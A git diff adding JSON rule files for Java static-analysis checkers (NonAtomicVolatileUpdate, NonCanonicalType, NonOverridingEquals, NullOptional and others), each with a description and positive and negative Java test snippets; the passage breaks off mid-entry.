+1,30 @@ +{ + "name": "NonAtomicVolatileUpdate", + "language": "java", + "description": "This update of a volatile variable is non-atomic", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 140, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /** Positive test cases for {@code NonAtomicVolatileUpdate} checker. */\n public class NonAtomicVolatileUpdatePositiveCases {\n\n private static class VolatileContainer {\n public volatile int volatileInt = 0;\n }\n\n private volatile int myVolatileInt = 0;\n private VolatileContainer container = new VolatileContainer();\n\n public void increment() {\n // BUG: Diagnostic contains:\n myVolatileInt++;\n // BUG: Diagnostic contains:\n ++myVolatileInt;\n // BUG: Diagnostic contains:\n myVolatileInt += 1;\n // BUG: Diagnostic contains:\n myVolatileInt = myVolatileInt + 1;\n // BUG: Diagnostic contains:\n myVolatileInt = 1 + myVolatileInt;\n\n // BUG: Diagnostic contains:\n if (myVolatileInt++ == 0) {\n System.out.println(\"argh\");\n }\n\n // BUG: Diagnostic contains:\n container.volatileInt++;\n // BUG: Diagnostic contains:\n ++container.volatileInt;\n // BUG: Diagnostic contains:\n container.volatileInt += 1;\n // BUG: Diagnostic contains:\n container.volatileInt = container.volatileInt + 1;\n // BUG: Diagnostic contains:\n container.volatileInt = 1 + container.volatileInt;\n }\n\n public void decrement() {\n // BUG: Diagnostic contains:\n myVolatileInt--;\n // BUG: Diagnostic contains:\n --myVolatileInt;\n // BUG: Diagnostic contains:\n myVolatileInt -= 1;\n // BUG: Diagnostic contains:\n myVolatileInt = myVolatileInt - 1;\n\n // BUG: Diagnostic contains:\n container.volatileInt--;\n // BUG: Diagnostic contains:\n --container.volatileInt;\n // BUG: Diagnostic contains:\n container.volatileInt -= 1;\n // BUG: Diagnostic contains:\n container.volatileInt = container.volatileInt - 1;\n }\n\n private volatile String myVolatileString = \"\";\n\n public void stringUpdate() {\n // BUG: Diagnostic contains:\n myVolatileString += \"update\";\n // BUG: Diagnostic contains:\n myVolatileString = myVolatileString + \"update\";\n }\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /** Positive test cases for {@code NonAtomicVolatileUpdate} checker. */\n public class NonAtomicVolatileUpdateNegativeCases {\n\n private volatile int myVolatileInt = 0;\n private int myInt = 0;\n private volatile String myVolatileString = \"\";\n private String myString = \"\";\n\n public void incrementNonVolatile() {\n myInt++;\n ++myInt;\n myInt += 1;\n myInt = myInt + 1;\n myInt = 1 + myInt;\n\n myInt = myVolatileInt + 1;\n myVolatileInt = myInt + 1;\n\n myString += \"update\";\n myString = myString + \"update\";\n }\n\n public void decrementNonVolatile() {\n myInt--;\n --myInt;\n myInt -= 1;\n myInt = myInt - 1;\n }\n\n public synchronized void synchronizedIncrement() {\n myVolatileInt++;\n ++myVolatileInt;\n myVolatileInt += 1;\n myVolatileInt = myVolatileInt + 1;\n myVolatileInt = 1 + myVolatileInt;\n\n myVolatileString += \"update\";\n myVolatileString = myVolatileString + \"update\";\n }\n\n public void synchronizedBlock() {\n synchronized (this) {\n myVolatileInt++;\n ++myVolatileInt;\n myVolatileInt += 1;\n myVolatileInt = myVolatileInt + 1;\n myVolatileInt = 1 + myVolatileInt;\n\n myVolatileString += \"update\";\n myVolatileString = myVolatileString + \"update\";\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalStaticImport.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalStaticImport.json new file mode 100644 index 0000000..1fd201b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalStaticImport.json @@ -0,0 +1,54 @@ +{ + "name": "NonCanonicalStaticImport", + "language": "java", + "description": "Static import of type uses non-canonical name", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package a;\n\n public class A {\n public static class Inner {}\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n // BUG: Diagnostic contains: import a.A.Inner;\n import static b.B.Inner;\n\n class Test {}" + }, + { + "description": "negativeStaticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "package a;\n\n public class A {\n public static class Inner {\n public static void f() {}\n }\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n import static a.A.Inner.f;\n\n class Test {}" + }, + { + "description": "negativeGenericTypeStaticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 99 + ], + "code": "package a;\n\n public class A {\n public static class Inner {\n public static void f() {}\n }\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n import static a.A.Inner.f;\n\n class Test {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "package a;\n\n public class A {\n public static class Inner {}\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n import static a.A.Inner;\n\n class Test {}" + }, + { + "description": "negativeOnDemand", + "expected-problems": null, + "expected-linenumbers": [ + 167 + ], + "code": "package a;\n\n public class A {\n public static class Inner {}\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n import static a.A.Inner.*;\n\n class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalStaticMemberImport.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalStaticMemberImport.json new file mode 100644 index 0000000..9d84690 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalStaticMemberImport.json @@ -0,0 +1,62 @@ +{ + "name": "NonCanonicalStaticMemberImport", + "language": "java", + "description": "Static import of member uses non-canonical name", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positiveMethod", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package a;\n\n public class A {\n public static final int foo() {\n return 42;\n }\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n // BUG: Diagnostic contains: import static a.A.foo;\n import static b.B.foo;\n\n class Test {}" + }, + { + "description": "positiveField", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "package a;\n\n public class A {\n public static final int CONST = 42;\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n // BUG: Diagnostic contains: import static a.A.CONST;\n import static b.B.CONST;\n\n class Test {}" + }, + { + "description": "positiveClassAndField", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "package a;\n\n public class Super {\n public static final int CONST = 42;\n }\n \n\n package a;\n\n public class A {\n public static class Inner extends Super {}\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n // BUG: Diagnostic contains: import static a.Super.CONST;\n import static a.A.Inner.CONST;\n\n class Test {}" + }, + { + "description": "negativeMethod", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "package a;\n\n public class A {\n public static final int foo() {\n return 42;\n }\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n import static a.A.foo;\n\n class Test {}" + }, + { + "description": "negativeField", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "package a;\n\n public class A {\n public static final int CONST = 42;\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n import static a.A.CONST;\n\n class Test {}" + }, + { + "description": "negativeClassAndField", + "expected-problems": null, + "expected-linenumbers": [ + 213 + ], + "code": "package a;\n\n public class Super {\n public static final int CONST = 42;\n }\n \n\n package a;\n\n public class A {\n public static class Inner extends Super {}\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n import static a.Super.CONST;\n\n class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalType.json new file mode 100644 index 0000000..721cc7c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalType.json @@ -0,0 +1,126 @@ +{ + "name": "NonCanonicalType", + "language": "java", + "description": "This type is referred to by a non-canonical name, which may be misleading.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 134, + "branches": 19, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import com.google.common.collect.ImmutableMap;\n\n class Test {\n void test() {\n // BUG: Diagnostic contains: `Map.Entry` was referred to by the non-canonical name\n // `ImmutableMap.Entry`\n ImmutableMap.Entry entry = null;\n }\n }" + }, + { + "description": "differingOnlyByPackageName", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "package foo;\n\n public class A {\n public static class B {}\n }\n \n\n package bar;\n\n public class A extends foo.A {}\n \n\npackage bar;\n\nimport bar.A;\n\npublic interface D {\n // BUG: Diagnostic contains: The type `foo.A.B` was referred to by the non-canonical name\n // `bar.A.B`\n A.B test();\n}" + }, + { + "description": "notVisibleFromUsageSite", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "package foo;\n\n class A {\n public static class C {}\n }\n \n\n package foo;\n\n public class B extends A {}\n \n\n package bar;\n\n import foo.B;\n\n public interface D {\n B.C test();\n }" + }, + { + "description": "positiveWithGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "class A {\n class B {}\n }\n \n\n class Test {\n // BUG: Diagnostic contains: Did you mean 'A.B test() {'\n AString.B test() {\n return null;\n }\n }\n \n\n import java.util.Map;\n\n class Test {\n void test() {\n Map.Entry entry = null;\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n interface Rec extends Function {}\n\n void run() {\n Rec f = x -> x.apply(x);\n }\n }\n \n\n interface A {\n interface N {}\n }\n\n interface B extends A {}\n\n class C implements D {}\n\n interface E extends D {\n interface N extends D.N {}\n }\n\n interface D {\n interface N {}\n }\n\n class Test extends C implements E {\n // BUG: Diagnostic contains: A.N\n private B.N f() {\n return null;\n }\n }\n \n\n class Test> {\n E test(Class clazz, String name) {\n return E.valueOf(clazz, name);\n }\n }\n \n\n class Test {\n int len(String[] xs) {\n return xs.length;\n }\n }\n \n\n class Test {\n void test() {\n var c = boolean.class;\n }\n }\n \n\n class Super {\n static void f() {}\n }\n \n\n class Test extends Super {\n void test() {\n Test.f();\n }\n }\n \n\n class Super {\n class Inner {}\n }\n \n\n class Sub extends Super {}\n \n\nclass Test {\n // BUG: Diagnostic contains: `Super.Inner` was referred to by the non-canonical name `Sub.Inner`\n Sub.Inner[] x;\n}\n\n\n module testmodule {\n requires java.base;\n }\n \n\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target(ElementType.TYPE_USE)\n @interface TA {}\n\n class Crash {\n class Nested {\n class DoublyNested {}\n }\n\n class SubNested extends Nested {}\n\n void foo(Crash.@TA Nested.DoublyNested p) {}\n\n // BUG: Diagnostic contains: Crash.Nested.DoublyNested\n void bar(Crash.@TA SubNested.DoublyNested p) {}\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "import java.util.Map;\n\n class Test {\n void test() {\n Map.Entry entry = null;\n }\n }" + }, + { + "description": "qualifiedName_inLambdaParameter_cantFix", + "expected-problems": null, + "expected-linenumbers": [ + 160 + ], + "code": "import java.util.function.Function;\n\n class Test {\n interface Rec extends Function {}\n\n void run() {\n Rec f = x -> x.apply(x);\n }\n }" + }, + { + "description": "qualifiedName_ambiguous", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "interface A {\n interface N {}\n }\n\n interface B extends A {}\n\n class C implements D {}\n\n interface E extends D {\n interface N extends D.N {}\n }\n\n interface D {\n interface N {}\n }\n\n class Test extends C implements E {\n // BUG: Diagnostic contains: A.N\n private B.N f() {\n return null;\n }\n }" + }, + { + "description": "typeParameter_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 211 + ], + "code": "class Test> {\n E test(Class clazz, String name) {\n return E.valueOf(clazz, name);\n }\n }" + }, + { + "description": "arrays", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "class Test {\n int len(String[] xs) {\n return xs.length;\n }\n }" + }, + { + "description": "clazz_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 241 + ], + "code": "class Test {\n void test() {\n var c = boolean.class;\n }\n }" + }, + { + "description": "method_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 256 + ], + "code": "class Super {\n static void f() {}\n }\n \n\n class Test extends Super {\n void test() {\n Test.f();\n }\n }" + }, + { + "description": "innerArray", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "class Super {\n class Inner {}\n }\n \n\n class Sub extends Super {}\n \n\nclass Test {\n // BUG: Diagnostic contains: `Super.Inner` was referred to by the non-canonical name `Sub.Inner`\n Sub.Inner[] x;\n}" + }, + { + "description": "moduleInfo", + "expected-problems": null, + "expected-linenumbers": [ + 306 + ], + "code": "module testmodule {\n requires java.base;\n }" + }, + { + "description": "typeAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 320 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target(ElementType.TYPE_USE)\n @interface TA {}\n\n class Crash {\n class Nested {\n class DoublyNested {}\n }\n\n class SubNested extends Nested {}\n\n void foo(Crash.@TA Nested.DoublyNested p) {}\n\n // BUG: Diagnostic contains: Crash.Nested.DoublyNested\n void bar(Crash.@TA SubNested.DoublyNested p) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonFinalCompileTimeConstant.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonFinalCompileTimeConstant.json new file mode 100644 index 0000000..140807c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonFinalCompileTimeConstant.json @@ -0,0 +1,62 @@ +{ + "name": "NonFinalCompileTimeConstant", + "language": "java", + "description": "@CompileTimeConstant parameters should be final or effectively final", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class Test {\n // BUG: Diagnostic contains:\n public void f(@CompileTimeConstant Object x) {\n x = null;\n }\n }" + }, + { + "description": "positiveTwoParams", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class Test {\n // BUG: Diagnostic contains:\n public void f(@CompileTimeConstant Object x, @CompileTimeConstant Object y) {\n x = y = null;\n }\n }" + }, + { + "description": "positiveOneOfTwoParams", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class Test {\n public void f(\n @CompileTimeConstant Object x,\n // BUG: Diagnostic contains:\n @CompileTimeConstant Object y) {\n y = null;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class Test {\n public void f(final @CompileTimeConstant Object x) {}\n }" + }, + { + "description": "negativeEffectivelyFinal", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class Test {\n public void f(@CompileTimeConstant Object x) {}\n }" + }, + { + "description": "negativeInterface", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public interface Test {\n public void f(@CompileTimeConstant Object x);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonFinalStaticField.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonFinalStaticField.json new file mode 100644 index 0000000..2eea645 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonFinalStaticField.json @@ -0,0 +1,134 @@ +{ + "name": "NonFinalStaticField", + "language": "java", + "description": "Static fields should almost always be final.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 181, + "branches": 22, + "apis": 1, + "test": [ + { + "description": "positiveFixable", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "public class Test {\n private static String FOO = \"\";\n }\n \n\n public class Test {\n private static final String FOO = \"\";\n }" + }, + { + "description": "positiveButNotFixable_noRefactoring", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "public class Test {\n public static String FOO = \"\";\n }" + }, + { + "description": "positiveNotFixable_finding", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n public static String FOO = \"\";\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "public class Test {\n private static final String FOO = \"\";\n }" + }, + { + "description": "reassigned_noFix", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n private static String foo = \"\";\n\n public void set(String s) {\n foo = s;\n }\n }" + }, + { + "description": "reassigned_finding", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n private static String foo = \"\";\n\n public void set(String s) {\n foo = s;\n }\n }" + }, + { + "description": "incremented_noFix", + "expected-problems": null, + "expected-linenumbers": [ + 132 + ], + "code": "public class Test {\n private static int foo = 0;\n\n public void increment() {\n foo++;\n }\n }" + }, + { + "description": "incrementedAnotherWay_noFix", + "expected-problems": null, + "expected-linenumbers": [ + 150 + ], + "code": "public class Test {\n private static int foo = 0;\n\n public void increment() {\n foo += 1;\n }\n }" + }, + { + "description": "neverAssigned_getsDefaultInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "public class Test {\n private static int foo;\n }\n \n\n public class Test {\n private static final int foo = 0;\n }" + }, + { + "description": "neverAssigned_getsDefaultInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "public class Test {\n private static int foo;\n }\n \n\n public class Test {\n private static final int foo = 0;\n }" + }, + { + "description": "negativeInterface", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "public interface Test {\n String FOO = \"\";\n }" + }, + { + "description": "exemptedAnnotation_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "import org.mockito.Mock;\n\n public class Test {\n @Mock private static String foo;\n }" + }, + { + "description": "volatile_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 235 + ], + "code": "public class Test {\n private static volatile String FOO = \"\";\n }" + }, + { + "description": "beforeClass", + "expected-problems": null, + "expected-linenumbers": [ + 248 + ], + "code": "import org.junit.BeforeClass;\n\n public class Test {\n private static String foo;\n\n @BeforeClass\n public static void setup() {\n foo = \"\";\n }\n }" + }, + { + "description": "beforeAll", + "expected-problems": null, + "expected-linenumbers": [ + 268 + ], + "code": "package org.junit.jupiter.api;\n\n import java.lang.annotation.Documented;\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Target({ElementType.ANNOTATION_TYPE, ElementType.METHOD})\n @Retention(RetentionPolicy.RUNTIME)\n @Documented\n public @interface BeforeAll {}\n \n\n import org.junit.jupiter.api.BeforeAll;\n\n public class Test {\n private static String foo;\n\n @BeforeAll\n public static void setup() {\n foo = \"\";\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonOverridingEquals.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonOverridingEquals.json new file mode 100644 index 0000000..119edd1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonOverridingEquals.json @@ -0,0 +1,126 @@ +{ + "name": "NonOverridingEquals", + "language": "java", + "description": "equals method doesn't override Object.equals", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 168, + "branches": 20, + "apis": 4, + "test": [ + { + "description": "flagsSimpleCovariantEqualsMethod", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "public class Test {\n // BUG: Diagnostic contains: Did you mean '@Override'\n public boolean equals(Test other) {\n return false;\n }\n }" + }, + { + "description": "flagsComplicatedCovariantEqualsMethod", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "public class Test {\n int i, j, k;\n\n // BUG: Diagnostic contains: Did you mean '@Override'\n public boolean equals(Test other) {\n if (i == other.i && j == other.j && k == other.k) {\n return true;\n }\n return false;\n }\n }" + }, + { + "description": "flagsAnotherComplicatedCovariantEqualsMethod", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "public class Test {\n boolean isInVersion;\n String str;\n\n // BUG: Diagnostic contains: Did you mean '@Override'\n public boolean equals(Test that) {\n return (this.isInVersion == that.isInVersion) && this.str.equals(that.str);\n }\n }" + }, + { + "description": "flagsAbstractCovariantEqualsMethod", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "public abstract class Test {\n // BUG: Diagnostic contains: Did you mean '@Override'\n public abstract boolean equals(Test other);\n }" + }, + { + "description": "flagsNativeCovariantEqualsMethod", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "public class Test {\n // BUG: Diagnostic contains: Did you mean '@Override'\n public native boolean equals(Test other);\n }" + }, + { + "description": "flagsIfMethodTakesUnrelatedType", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n public boolean equals(Integer other) {\n return false;\n }\n }" + }, + { + "description": "flagsBoxedBooleanReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n public Boolean equals(Test other) {\n return false;\n }\n }" + }, + { + "description": "flagsCovariantEqualsMethodInEnum", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "public enum Planet {\n MERCURY,\n VENUS,\n EARTH,\n MARS,\n JUPITER,\n SATURN,\n URANUS,\n NEPTUNE;\n\n // BUG: Diagnostic contains: enum instances can safely be compared by reference equality\n // Did you mean to remove this line?\n public boolean equals(Planet other) {\n return this == other;\n }\n}" + }, + { + "description": "flagsPrivateEqualsMethod", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n private boolean equals(Test other) {\n return false;\n }\n }" + }, + { + "description": "flagsEvenIfAnotherMethodOverridesEquals", + "expected-problems": null, + "expected-linenumbers": [ + 193 + ], + "code": "public class Test {\n // BUG: Diagnostic contains: either inline it into the callers or rename it\n private boolean equals(Test other) {\n return false;\n }\n\n @Override\n public boolean equals(Object other) {\n return false;\n }\n }" + }, + { + "description": "flagsStaticEqualsMethod", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n public static boolean equals(Test other) {\n return false;\n }\n }" + }, + { + "description": "dontFlagMethodThatOverridesEquals", + "expected-problems": null, + "expected-linenumbers": [ + 237 + ], + "code": "public class Test {\n @Override\n public boolean equals(Object other) {\n return false;\n }\n }" + }, + { + "description": "dontFlagEqualsMethodWithMoreThanOneParameter", + "expected-problems": null, + "expected-linenumbers": [ + 253 + ], + "code": "public class Test {\n public boolean equals(Test other, String s) {\n return false;\n }\n }" + }, + { + "description": "dontFlagIfWrongReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 268 + ], + "code": "public class Test {\n public int equals(Test other) {\n return -1;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonRuntimeAnnotation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonRuntimeAnnotation.json new file mode 100644 index 0000000..84e610a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonRuntimeAnnotation.json @@ -0,0 +1,30 @@ +{ + "name": "NonRuntimeAnnotation", + "language": "java", + "description": "Calling getAnnotation on an annotation that is not retained at runtime", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 72, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\n\n/**\n * @author scottjohnson@google.com (Scott Johnsson)\n */\n@NonRuntimeAnnotationPositiveCases.NotSpecified\n@NonRuntimeAnnotationPositiveCases.NonRuntime\npublic class NonRuntimeAnnotationPositiveCases {\n\n public NonRuntime testAnnotation() {\n // BUG: Diagnostic contains: runtime; NonRuntime\n NonRuntimeAnnotationPositiveCases.class.getAnnotation(\n NonRuntimeAnnotationPositiveCases.NonRuntime.class);\n // BUG: Diagnostic contains:\n NonRuntimeAnnotationPositiveCases.class.getAnnotation(\n NonRuntimeAnnotationPositiveCases.NotSpecified.class);\n // BUG: Diagnostic contains:\n return this.getClass().getAnnotation(NonRuntimeAnnotationPositiveCases.NonRuntime.class);\n }\n\n /** Annotation that is explicitly NOT retained at runtime */\n @Retention(RetentionPolicy.SOURCE)\n public @interface NonRuntime {}\n\n /** Annotation that is implicitly NOT retained at runtime */\n public @interface NotSpecified {}\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\n\n/**\n * @author scottjohnson@google.com (Scott Johnsson)\n */\n@NonRuntimeAnnotationNegativeCases.Runtime\npublic class NonRuntimeAnnotationNegativeCases {\n\n public Runtime testAnnotation() {\n return this.getClass().getAnnotation(NonRuntimeAnnotationNegativeCases.Runtime.class);\n }\n\n /** Annotation that is retained at runtime */\n @Retention(RetentionPolicy.RUNTIME)\n public @interface Runtime {}\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullOptional.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullOptional.json new file mode 100644 index 0000000..abc8f30 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullOptional.json @@ -0,0 +1,54 @@ +{ + "name": "NullOptional", + "language": "java", + "description": "Passing a literal null to an Optional parameter is almost certainly a mistake. Did you mean to provide an empty Optional?", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 96, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "simplePositiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.util.Optional;\n\n class Test {\n void a(Optional o) {}\n\n void test() {\n a(null);\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n void a(Optional o) {}\n\n void test() {\n a(Optional.empty());\n }\n }" + }, + { + "description": "annotatedWithNullable_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "import java.util.Optional;\n import javax.annotation.Nullable;\n\n class Test {\n void a(@Nullable Optional o) {}\n\n void test() {\n a(null);\n }\n }" + }, + { + "description": "notPassingNull_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import java.util.Optional;\n\n class Test {\n void a(Optional o) {}\n\n void test() {\n a(Optional.empty());\n }\n }" + }, + { + "description": "withinAssertThrows_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import static org.junit.Assert.assertThrows;\n import java.util.Optional;\n\n class Test {\n void a(Optional o) {}\n\n void test() {\n assertThrows(NullPointerException.class, () -> a(null));\n }\n }" + }, + { + "description": "lastVarArgsParameter_match", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "import java.util.Optional;\n\n class Test {\n @SafeVarargs\n private final void a(int a, Optional... o) {}\n\n void test() {\n // BUG: Diagnostic contains:\n a(1, Optional.empty(), null);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullTernary.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullTernary.json new file mode 100644 index 0000000..1d7f5c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullTernary.json @@ -0,0 +1,70 @@ +{ + "name": "NullTernary", + "language": "java", + "description": "This conditional expression may evaluate to null, which will result in an NPE when the result is unboxed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 46, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void f(boolean b) {\n // BUG: Diagnostic contains:\n int x = b ? 0 : null;\n // BUG: Diagnostic contains:\n long l = b ? null : 0;\n // BUG: Diagnostic contains:\n g(\"\", b ? null : 0);\n // BUG: Diagnostic contains:\n h(\"\", 